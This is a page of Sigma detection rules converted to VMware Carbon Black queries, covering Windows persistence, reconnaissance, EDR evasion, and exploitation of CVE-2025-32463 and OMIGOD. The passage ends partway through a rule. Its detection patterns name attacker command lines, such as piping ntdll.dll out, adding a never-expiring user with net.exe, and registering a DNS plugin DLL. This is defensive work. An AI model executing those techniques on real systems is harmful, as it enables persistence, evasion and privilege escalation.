Home/Detection rules/VMware Carbon Black
Tool
EDR / XDR

VMware Carbon Black

1,677 rules · Sigma detections in VMware Carbon Black syntax
The same Sigma detection corpus, machine-rendered into VMware Carbon Black query syntax and ready to paste. Switch platforms above for identical coverage in another language, or choose Sigma (generic) for the portable YAML.
Download all 3,646 rules (.zip, 1.2 MB) Every VMware Carbon Black query in this view, packaged to deploy.
Filter by techniquepick techniques from the ATT&CK matrix
Reconnaissance12
Resource Development10
Initial Access10
Execution30
Persistence42
Privilege Escalation20
Stealth79
Defense Impairment32
Credential Access35
Discovery33
Lateral Movement16
Collection20
Command and Control24
Exfiltration10
Impact18
Using these Sigma rules
Deploy. Pick your SIEM above and paste the rendered query straight into a saved search or detection rule, or expand any rule to convert its generic YAML inline to the language you run.
Adapt. Map the field names to your log schema - Sigma assumes a normalised taxonomy - and tune thresholds and timeframes to your own baseline before you trust the alert.
Validate. Every rule is mapped to ATT&CK, so run the matching Atomic Red Team test on /atomic to confirm the rule actually fires before you rely on it.
Judge. Each rule shows a quality tier (Strong / Moderate / Basic) and an estimated alert-volume tier (Low / Medium / High FP), both scored deterministically from the rule's shape - status, detection depth, match breadth, log source, documented false positives and references. A rule existing is not the same as a rule being good, or being quiet; hover either tier for the breakdown. The FP estimate reads rule shape, not a measured rate, so use it to pick what to tune first before you deploy.

Detection rules

50 shown of 1,677
high Moderate Medium FP
Network Connection Initiated via Finger.EXE
Detects network connections via finger.exe, which can be abused by threat actors to retrieve remote commands for execution on Windows devices. In one ClickFix malware campaign, adversaries leveraged the finger protocol to fetch commands from a remote server. Since the finger utility is not commonly used in modern Windows environments, its presence already raises suspicion. Investigating such network connections can also help identify potential malicious infrastructure used by threat actors
status experimental author Swachchhanda Shrawan Poudel (Nextron Systems) ATT&CK sub-technique id 2fdaf50b-9fd5-449f-ba69-f17248119af6
carbon_black query
Initiated:true Image:\\finger.exe
view Sigma YAML
title: Network Connection Initiated via Finger.EXE
id: 2fdaf50b-9fd5-449f-ba69-f17248119af6
related:
    - id: c082c2b0-525b-4dbc-9a26-a57dc4692074
      type: similar
    - id: af491bca-e752-4b44-9c86-df5680533dbc
      type: similar
status: experimental
description: |
    Detects network connections via finger.exe, which can be abused by threat actors to retrieve remote commands for execution on Windows devices.
    In one ClickFix malware campaign, adversaries leveraged the finger protocol to fetch commands from a remote server.
    Since the finger utility is not commonly used in modern Windows environments, its presence already raises suspicion.
    Investigating such network connections can also help identify potential malicious infrastructure used by threat actors
references:
    - https://www.bleepingcomputer.com/news/security/decades-old-finger-protocol-abused-in-clickfix-malware-attacks/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-11-19
tags:
    - attack.command-and-control
    - attack.t1071.004
    - attack.execution
    - attack.t1059.003
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Initiated: 'true'
        Image|endswith: '\finger.exe'
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate High FP
Network Reconnaissance Activity
Detects a set of suspicious network related commands often used in recon stages
status test author Florian Roth (Nextron Systems) ATT&CK technique id e6313acd-208c-44fc-a0ff-db85d572e90e
carbon_black query
CommandLine:nslookup* CommandLine:_ldap._tcp.dc._msdcs.*
view Sigma YAML
title: Network Reconnaissance Activity
id: e6313acd-208c-44fc-a0ff-db85d572e90e
status: test
description: Detects a set of suspicious network related commands often used in recon stages
references:
    - https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/
author: Florian Roth (Nextron Systems)
date: 2022-02-07
tags:
    - attack.discovery
    - attack.t1087
    - attack.t1082
    - car.2016-03-001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - 'nslookup'
            - '_ldap._tcp.dc._msdcs.'
    condition: selection
falsepositives:
    - False positives depend on scripts and administrative tools used in the monitored environment
level: high
Convert to SIEM query
high Moderate High FP
New ActiveScriptEventConsumer Created Via Wmic.EXE
Detects WMIC executions in which an event consumer gets created. This could be used to establish persistence
status test author Florian Roth (Nextron Systems) ATT&CK sub-technique id ebef4391-1a81-4761-a40a-1db446c0e625
carbon_black query
CommandLine:ActiveScriptEventConsumer* CommandLine:\ CREATE\ *
view Sigma YAML
title: New ActiveScriptEventConsumer Created Via Wmic.EXE
id: ebef4391-1a81-4761-a40a-1db446c0e625
status: test
description: Detects WMIC executions in which an event consumer gets created. This could be used to establish persistence
references:
    - https://twitter.com/johnlatwc/status/1408062131321270282?s=12
    - https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
author: Florian Roth (Nextron Systems)
date: 2021-06-25
modified: 2023-02-14
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1546.003
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - 'ActiveScriptEventConsumer'
            - ' CREATE '
    condition: selection
falsepositives:
    - Legitimate software creating script event consumers
level: high
Convert to SIEM query
high Moderate Medium FP
New Country
Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations.
status test author Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo' ATT&CK technique id adf9f4d2-559e-4f5c-95be-c28dff0b1476
carbon_black query
riskEventType:newCountry
view Sigma YAML
title: New Country
id: adf9f4d2-559e-4f5c-95be-c28dff0b1476
status: test
description: Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations.
references:
    - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#new-country
    - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins
author: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo'
date: 2023-09-03
tags:
    - attack.stealth
    - attack.t1078
    - attack.persistence
    - attack.privilege-escalation
    - attack.initial-access
logsource:
    product: azure
    service: riskdetection
detection:
    selection:
        riskEventType: 'newCountry'
    condition: selection
falsepositives:
    - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user.
level: high
Convert to SIEM query
high Moderate High FP
New DNS ServerLevelPluginDll Installed
Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)
status test author Florian Roth (Nextron Systems) ATT&CK sub-technique id e61e8a88-59a9-451c-874e-70fcc9740d67
carbon_black query
TargetObject:\\services\\DNS\\Parameters\\ServerLevelPluginDll
view Sigma YAML
title: New DNS ServerLevelPluginDll Installed
id: e61e8a88-59a9-451c-874e-70fcc9740d67
related:
    - id: cbe51394-cd93-4473-b555-edf0144952d9
      type: derived
    - id: f63b56ee-3f79-4b8a-97fb-5c48007e8573
      type: derived
status: test
description: Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)
references:
    - https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
    - https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
author: Florian Roth (Nextron Systems)
date: 2017-05-08
modified: 2023-08-17
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.defense-impairment
    - attack.t1574.001
    - attack.t1112
logsource:
    product: windows
    category: registry_set
detection:
    selection:
        TargetObject|endswith: '\services\DNS\Parameters\ServerLevelPluginDll'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE
Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)
status test author Florian Roth (Nextron Systems) ATT&CK sub-technique id f63b56ee-3f79-4b8a-97fb-5c48007e8573
carbon_black query
Image:\\dnscmd.exe (CommandLine:\/config* CommandLine:\/serverlevelplugindll*)
view Sigma YAML
title: New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE
id: f63b56ee-3f79-4b8a-97fb-5c48007e8573
related:
    - id: e61e8a88-59a9-451c-874e-70fcc9740d67
      type: derived
    - id: cbe51394-cd93-4473-b555-edf0144952d9
      type: derived
status: test
description: Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)
references:
    - https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
    - https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
author: Florian Roth (Nextron Systems)
date: 2017-05-08
modified: 2023-02-05
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.defense-impairment
    - attack.t1574.001
    - attack.t1112
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\dnscmd.exe'
        CommandLine|contains|all:
            - '/config'
            - '/serverlevelplugindll'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Medium FP
New File Association Using Exefile
Detects the abuse of the exefile handler in new file association. Used for bypass of security products.
status test author Andreas Hunkeler (@Karneades) ATT&CK tactic-only id 44a22d59-b175-4f13-8c16-cbaef5b581ff
carbon_black query
TargetObject:Classes\\.* Details:exefile
view Sigma YAML
title: New File Association Using Exefile
id: 44a22d59-b175-4f13-8c16-cbaef5b581ff
status: test
description: Detects the abuse of the exefile handler in new file association. Used for bypass of security products.
references:
    - https://twitter.com/mrd0x/status/1461041276514623491
author: Andreas Hunkeler (@Karneades)
date: 2021-11-19
modified: 2023-08-17
tags:
    - attack.stealth
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: 'Classes\.'
        Details: 'exefile'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Low FP
New Firewall Rule Added In Windows Firewall Exception List For Potential Suspicious Application
Detects the addition of a new rule to the Windows Firewall exception list for an application located in a potentially suspicious location.
status test author frack113 ATT&CK sub-technique id 9e2575e7-2cb9-4da1-adc8-ed94221dca5e
carbon_black query
((EventID:2004 OR EventID:2071 OR EventID:2097) (ApplicationPath:\:\\PerfLogs\\* OR ApplicationPath:\:\\Temp\\* OR ApplicationPath:\:\\Tmp\\* OR ApplicationPath:\:\\Users\\Public\\* OR ApplicationPath:\:\\Windows\\Tasks\\* OR ApplicationPath:\:\\Windows\\Temp\\* OR ApplicationPath:\\AppData\\Local\\Temp\\*)) (-Action:2)
view Sigma YAML
title: New Firewall Rule Added In Windows Firewall Exception List For Potential Suspicious Application
id: 9e2575e7-2cb9-4da1-adc8-ed94221dca5e
related:
    - id: cde0a575-7d3d-4a49-9817-b8004a7bf105
      type: derived
status: test
description: Detects the addition of a new rule to the Windows Firewall exception list for an application located in a potentially suspicious location.
references:
    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)
    - https://app.any.run/tasks/7123e948-c91e-49e0-a813-00e8d72ab393/#
author: frack113
date: 2023-02-26
modified: 2024-05-10
tags:
    - attack.defense-impairment
    - attack.t1686.003
logsource:
    product: windows
    service: firewall-as
detection:
    selection:
        EventID:
            - 2004 # A rule has been added to the Windows Defender Firewall exception list. (Windows 10)
            - 2071 # A rule has been added to the Windows Defender Firewall exception list. (Windows 11)
            - 2097
        ApplicationPath|contains:
            - ':\PerfLogs\'
            - ':\Temp\'
            - ':\Tmp\'
            - ':\Users\Public\'
            - ':\Windows\Tasks\'
            - ':\Windows\Temp\'
            - '\AppData\Local\Temp\'
    filter_main_block:
        Action: 2 # Block
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Medium FP
New Netsh Helper DLL Registered From A Suspicious Location
Detects changes to the Netsh registry key to add a new DLL value that is located on a suspicious location. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK sub-technique id e7b18879-676e-4a0e-ae18-27039185a8e7
carbon_black query
TargetObject:\\SOFTWARE\\Microsoft\\NetSh* ((Details:\:\\Perflogs\\* OR Details:\:\\Users\\Public\\* OR Details:\:\\Windows\\Temp\\* OR Details:\\AppData\\Local\\Temp\\* OR Details:\\Temporary\ Internet*) OR ((Details:\:\\Users\\* Details:\\Favorites\\*) OR (Details:\:\\Users\\* Details:\\Favourites\\*) OR (Details:\:\\Users\\* Details:\\Contacts\\*) OR (Details:\:\\Users\\* Details:\\Pictures\\*)))
view Sigma YAML
title: New Netsh Helper DLL Registered From A Suspicious Location
id: e7b18879-676e-4a0e-ae18-27039185a8e7
related:
    - id: 56321594-9087-49d9-bf10-524fe8479452
      type: similar
    - id: c90362e0-2df3-4e61-94fe-b37615814cb1
      type: similar
status: test
description: |
    Detects changes to the Netsh registry key to add a new DLL value that is located on a suspicious location. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper
references:
    - https://www.ired.team/offensive-security/persistence/t1128-netsh-helper-dll
    - https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-11-28
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1546.007
logsource:
    category: registry_set
    product: windows
detection:
    selection_target:
        TargetObject|contains: '\SOFTWARE\Microsoft\NetSh'
    selection_folders_1:
        Details|contains:
            - ':\Perflogs\'
            - ':\Users\Public\'
            - ':\Windows\Temp\'
            - '\AppData\Local\Temp\'
            - '\Temporary Internet'
    selection_folders_2:
        - Details|contains|all:
              - ':\Users\'
              - '\Favorites\'
        - Details|contains|all:
              - ':\Users\'
              - '\Favourites\'
        - Details|contains|all:
              - ':\Users\'
              - '\Contacts\'
        - Details|contains|all:
              - ':\Users\'
              - '\Pictures\'
    condition: selection_target and 1 of selection_folders_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Strong Medium FP
New RUN Key Pointing to Suspicious Folder
Detects suspicious new RUN key element pointing to an executable in a suspicious folder
status experimental author Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing, Swachchhanda Shrawan Poudel (Nextron Systems) ATT&CK sub-technique id 02ee49e2-e294-4d0f-9278-f5b3212fc588
carbon_black query
(TargetObject:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run* OR TargetObject:\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run* OR TargetObject:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run*) ((Details:\:\\Perflogs* OR Details:\:\\ProgramData'* OR Details:\:\\Windows\\Temp* OR Details:\:\\Temp* OR Details:\\AppData\\Local\\Temp* OR Details:\\AppData\\Roaming* OR Details:\:\\$Recycle.bin* OR Details:\:\\Users\\Default* OR Details:\:\\Users\\public* OR Details:%temp%* OR Details:%tmp%* OR Details:%Public%* OR Details:%AppData%*) OR (Details:\:\\Users\\* (Details:\\Favorites* OR Details:\\Favourites* OR Details:\\Contacts* OR Details:\\Music* OR Details:\\Pictures* OR Details:\\Documents* OR Details:\\Photos*))) (-(TargetObject:\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\* Image:C\:\\Windows\\SoftwareDistribution\\Download\\* (Details:rundll32.exe\ * Details:C\:\\WINDOWS\\system32\\advpack.dll,DelNodeRunDLL32*) (Details:\\AppData\\Local\\Temp\\* OR Details:C\:\\Windows\\Temp\\*))) (-((Image:C\:\\Program\ Files\\Spotify\\Spotify.exe OR Image:C\:\\Program\ Files\ \(x86\)\\Spotify\\Spotify.exe OR Image:\\AppData\\Roaming\\Spotify\\Spotify.exe) TargetObject:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Spotify Details:Spotify.exe\ \-\-autostart\ \-\-minimized))
view Sigma YAML
title: New RUN Key Pointing to Suspicious Folder
id: 02ee49e2-e294-4d0f-9278-f5b3212fc588
status: experimental
description: Detects suspicious new RUN key element pointing to an executable in a suspicious folder
references:
    - https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
    - https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing, Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2018-08-25
modified: 2025-10-06
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.001
logsource:
    category: registry_set
    product: windows
detection:
    selection_target:
        TargetObject|contains:
            - '\Software\Microsoft\Windows\CurrentVersion\Run'
            - '\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run'
            - '\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run'
    selection_suspicious_paths_1:
        Details|contains:
            - ':\Perflogs'
            - :\ProgramData'
            - ':\Windows\Temp'
            - ':\Temp'
            - '\AppData\Local\Temp'
            - '\AppData\Roaming'
            - ':\$Recycle.bin'
            - ':\Users\Default'
            - ':\Users\public'
            - '%temp%'
            - '%tmp%'
            - '%Public%'
            - '%AppData%'
    selection_suspicious_paths_user_1:
        Details|contains: ':\Users\'
    selection_suspicious_paths_user_2:
        Details|contains:
            - '\Favorites'
            - '\Favourites'
            - '\Contacts'
            - '\Music'
            - '\Pictures'
            - '\Documents'
            - '\Photos'
    filter_main_windows_update:
        TargetObject|contains: '\Microsoft\Windows\CurrentVersion\RunOnce\'
        Image|startswith: 'C:\Windows\SoftwareDistribution\Download\'
        Details|contains|all:
            - 'rundll32.exe '
            - 'C:\WINDOWS\system32\advpack.dll,DelNodeRunDLL32'
        Details|contains:
            - '\AppData\Local\Temp\'
            - 'C:\Windows\Temp\'
    filter_optional_spotify:
        Image|endswith:
            - 'C:\Program Files\Spotify\Spotify.exe'
            - 'C:\Program Files (x86)\Spotify\Spotify.exe'
            - '\AppData\Roaming\Spotify\Spotify.exe'
        TargetObject|endswith: 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Spotify'
        Details|endswith: 'Spotify.exe --autostart --minimized'
    condition: selection_target and (selection_suspicious_paths_1 or (all of selection_suspicious_paths_user_* )) and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Software using weird folders for updates
level: high
Convert to SIEM query
high Moderate Medium FP
New TimeProviders Registered With Uncommon DLL Name
Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.
status test author frack113 ATT&CK sub-technique id e88a6ddc-74f7-463b-9b26-f69fc0d2ce85
carbon_black query
(TargetObject:\\Services\\W32Time\\TimeProviders* TargetObject:\\DllName) (-(Details:%SystemRoot%\\System32\\vmictimeprovider.dll OR Details:%systemroot%\\system32\\w32time.dll OR Details:C\:\\Windows\\SYSTEM32\\w32time.DLL))
view Sigma YAML
title: New TimeProviders Registered With Uncommon DLL Name
id: e88a6ddc-74f7-463b-9b26-f69fc0d2ce85
status: test
description: |
    Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
    Adversaries may abuse time providers to execute DLLs when the system boots.
    The Windows Time service (W32Time) enables time synchronization across and within domains.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.003/T1547.003.md
author: frack113
date: 2022-06-19
modified: 2024-03-26
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1547.003
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: '\Services\W32Time\TimeProviders'
        TargetObject|endswith: '\DllName'
    filter_main_w32time:
        Details:
            - '%SystemRoot%\System32\vmictimeprovider.dll'
            - '%systemroot%\system32\w32time.dll'
            - 'C:\Windows\SYSTEM32\w32time.DLL'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
New User Created Via Net.EXE With Never Expire Option
Detects creation of local users via the net.exe command with the option "never expire"
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK sub-technique id b9f0e6f5-09b4-4358-bae4-08408705bd5c
carbon_black query
((Image:\\net.exe OR Image:\\net1.exe) OR (OriginalFileName:net.exe OR OriginalFileName:net1.exe)) (CommandLine:user* CommandLine:add* CommandLine:expires\:never*)
view Sigma YAML
title: New User Created Via Net.EXE With Never Expire Option
id: b9f0e6f5-09b4-4358-bae4-08408705bd5c
related:
    - id: cd219ff3-fa99-45d4-8380-a7d15116c6dc
      type: derived
status: test
description: Detects creation of local users via the net.exe command with the option "never expire"
references:
    - https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-07-12
modified: 2023-02-21
tags:
    - attack.persistence
    - attack.t1136.001
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\net.exe'
              - '\net1.exe'
        - OriginalFileName:
              - 'net.exe'
              - 'net1.exe'
    selection_cli:
        CommandLine|contains|all:
            - 'user'
            - 'add'
            - 'expires:never'
    condition: all of selection_*
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
Nginx Core Dump
Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.
status test author Florian Roth (Nextron Systems) ATT&CK sub-technique id 59ec40bb-322e-40ab-808d-84fa690d7e56
carbon_black query
"exited\ on\ signal\ 6\ \(core\ dumped\)"
view Sigma YAML
title: Nginx Core Dump
id: 59ec40bb-322e-40ab-808d-84fa690d7e56
status: test
description: Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.
references:
    - https://docs.nginx.com/nginx/admin-guide/monitoring/debugging/#enabling-core-dumps
    - https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/
author: Florian Roth (Nextron Systems)
date: 2021-05-31
modified: 2023-05-08
tags:
    - attack.impact
    - attack.t1499.004
logsource:
    service: nginx
detection:
    keywords:
        - 'exited on signal 6 (core dumped)'
    condition: keywords
falsepositives:
    - Serious issues with a configuration or plugin
level: high
Convert to SIEM query
high Moderate Medium FP
Ngrok Usage with Remote Desktop Service
Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour
status test author Florian Roth (Nextron Systems) ATT&CK technique id 64d51a51-32a6-49f0-9f3d-17e34d640272
carbon_black query
EventID:21 Address:16777216*
view Sigma YAML
title: Ngrok Usage with Remote Desktop Service
id: 64d51a51-32a6-49f0-9f3d-17e34d640272
status: test
description: Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour
references:
    - https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg
    - https://ngrok.com/
author: Florian Roth (Nextron Systems)
date: 2022-04-29
tags:
    - attack.command-and-control
    - attack.t1090
logsource:
    product: windows
    service: terminalservices-localsessionmanager
detection:
    selection:
        EventID: 21
        Address|contains: '16777216'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Medium FP
Non-Standard Nsswitch.Conf Creation - Potential CVE-2025-32463 Exploitation
Detects the creation of nsswitch.conf files in non-standard directories, which may indicate exploitation of CVE-2025-32463. This vulnerability requires an attacker to create a nsswitch.conf in a directory that will be used during sudo chroot operations. When sudo executes, it loads malicious shared libraries from user-controlled locations within the chroot environment, potentially leading to arbitrary code execution and privilege escalation.
status experimental author Swachchhanda Shrawn Poudel (Nextron Systems) ATT&CK technique id 10ac0730-c24e-4f4c-81f8-b13a1ac95a1d
carbon_black query
TargetFilename:\/etc\/nsswitch.conf (-(TargetFilename:\/etc\/nsswitch.conf OR TargetFilename:\/usr\/share\/factory\/etc\/nsswitch.conf))
view Sigma YAML
title: Non-Standard Nsswitch.Conf Creation - Potential CVE-2025-32463 Exploitation
id: 10ac0730-c24e-4f4c-81f8-b13a1ac95a1d
status: experimental
description: |
    Detects the creation of nsswitch.conf files in non-standard directories, which may indicate exploitation of CVE-2025-32463.
    This vulnerability requires an attacker to create a nsswitch.conf in a directory that will be used during sudo chroot operations.
    When sudo executes, it loads malicious shared libraries from user-controlled locations within the chroot environment,
    potentially leading to arbitrary code execution and privilege escalation.
references:
    - https://github.com/kh4sh3i/CVE-2025-32463/blob/81bb430f84fa2089224733c3ed4bfa434c197ad4/exploit.sh
author: Swachchhanda Shrawn Poudel (Nextron Systems)
date: 2025-10-02
modified: 2026-03-31
tags:
    - attack.privilege-escalation
    - attack.t1068
    - cve.2025-32463
    - detection.emerging-threats
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '/etc/nsswitch.conf'
    filter_main_legitimate_path:
        TargetFilename:
            - '/etc/nsswitch.conf'
            - '/usr/share/factory/etc/nsswitch.conf'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Backup locations
level: high
Convert to SIEM query
high Moderate Medium FP
Non-privileged Usage of Reg or Powershell
Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry
status test author Teymur Kheirkhabarov (idea), Ryan Plas (rule), oscd.community ATT&CK technique id 8f02c935-effe-45b3-8fc9-ef8696a9e41d
carbon_black query
((CommandLine:reg\ * CommandLine:add*) OR (CommandLine:powershell* OR CommandLine:set\-itemproperty* OR CommandLine:\ sp\ * OR CommandLine:new\-itemproperty*)) ((IntegrityLevel:Medium OR IntegrityLevel:S\-1\-16\-8192) (CommandLine:ControlSet* CommandLine:Services*) (CommandLine:ImagePath* OR CommandLine:FailureCommand* OR CommandLine:ServiceDLL*))
view Sigma YAML
title: Non-privileged Usage of Reg or Powershell
id: 8f02c935-effe-45b3-8fc9-ef8696a9e41d
status: test
description: Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry
references:
    - https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-20-638.jpg
author: Teymur Kheirkhabarov (idea), Ryan Plas (rule), oscd.community
date: 2020-10-05
modified: 2024-12-01
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    category: process_creation
    product: windows
detection:
    selection_cli:
        - CommandLine|contains|all:
              - 'reg '
              - 'add'
        - CommandLine|contains:
              - 'powershell'
              - 'set-itemproperty'
              - ' sp '
              - 'new-itemproperty'
    selection_data:
        IntegrityLevel:
            - 'Medium'
            - 'S-1-16-8192'
        CommandLine|contains|all:
            - 'ControlSet'
            - 'Services'
        CommandLine|contains:
            - 'ImagePath'
            - 'FailureCommand'
            - 'ServiceDLL'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
NtdllPipe Like Activity Execution
Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection. As seen being used in the POC NtdllPipe
status test author Florian Roth (Nextron Systems) ATT&CK tactic-only id bbc865e4-7fcd-45a6-8ff1-95ced28ec5b2
carbon_black query
CommandLine:type\ %windir%\\system32\\ntdll.dll* OR CommandLine:type\ %systemroot%\\system32\\ntdll.dll* OR CommandLine:type\ c\:\\windows\\system32\\ntdll.dll* OR CommandLine:\\ntdll.dll\ >\ \\\\.\\pipe\\*
view Sigma YAML
title: NtdllPipe Like Activity Execution
id: bbc865e4-7fcd-45a6-8ff1-95ced28ec5b2
status: test
description: Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection. As seen being used in the POC NtdllPipe
references:
    - https://web.archive.org/web/20220306121156/https://www.x86matthew.com/view_post?id=ntdll_pipe
author: Florian Roth (Nextron Systems)
date: 2022-03-05
modified: 2023-03-07
tags:
    - attack.defense-impairment
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'type %windir%\system32\ntdll.dll'
            - 'type %systemroot%\system32\ntdll.dll'
            - 'type c:\windows\system32\ntdll.dll'
            - '\\ntdll.dll > \\\\.\\pipe\\'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Strong Low FP
OMIGOD HTTP No Authentication RCE - CVE-2021-38647
Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.
status stable author Nate Guagenti (neu5ron) ATT&CK sub-technique id ab6b1a39-a9ee-4ab4-b075-e83acf6e346b
carbon_black query
(status_code:200 uri:\/wsman method:POST) (-client_header_names:AUTHORIZATION*) (-request_body_len:0)
view Sigma YAML
title: OMIGOD HTTP No Authentication RCE - CVE-2021-38647
id: ab6b1a39-a9ee-4ab4-b075-e83acf6e346b
status: stable
description: |
    Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request.
    Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP).
    Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.
references:
    - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
    - https://twitter.com/neu5ron/status/1438987292971053057?s=20
author: Nate Guagenti (neu5ron)
date: 2021-09-20
modified: 2025-11-03
tags:
    - attack.privilege-escalation
    - attack.initial-access
    - attack.execution
    - attack.lateral-movement
    - attack.t1068
    - attack.t1190
    - attack.t1203
    - attack.t1021.006
    - attack.t1210
    - detection.emerging-threats
    - cve.2021-38647
logsource:
    product: zeek
    service: http
    definition: Enable the builtin Zeek script that logs all HTTP header names by adding "@load policy/protocols/http/header-names" to your local.zeek config file. The script can be seen here for reference https://github.com/zeek/zeek/blob/d957f883df242ef159cfd846884e673addeea7a5/scripts/policy/protocols/http/header-names.zeek
detection:
    selection:
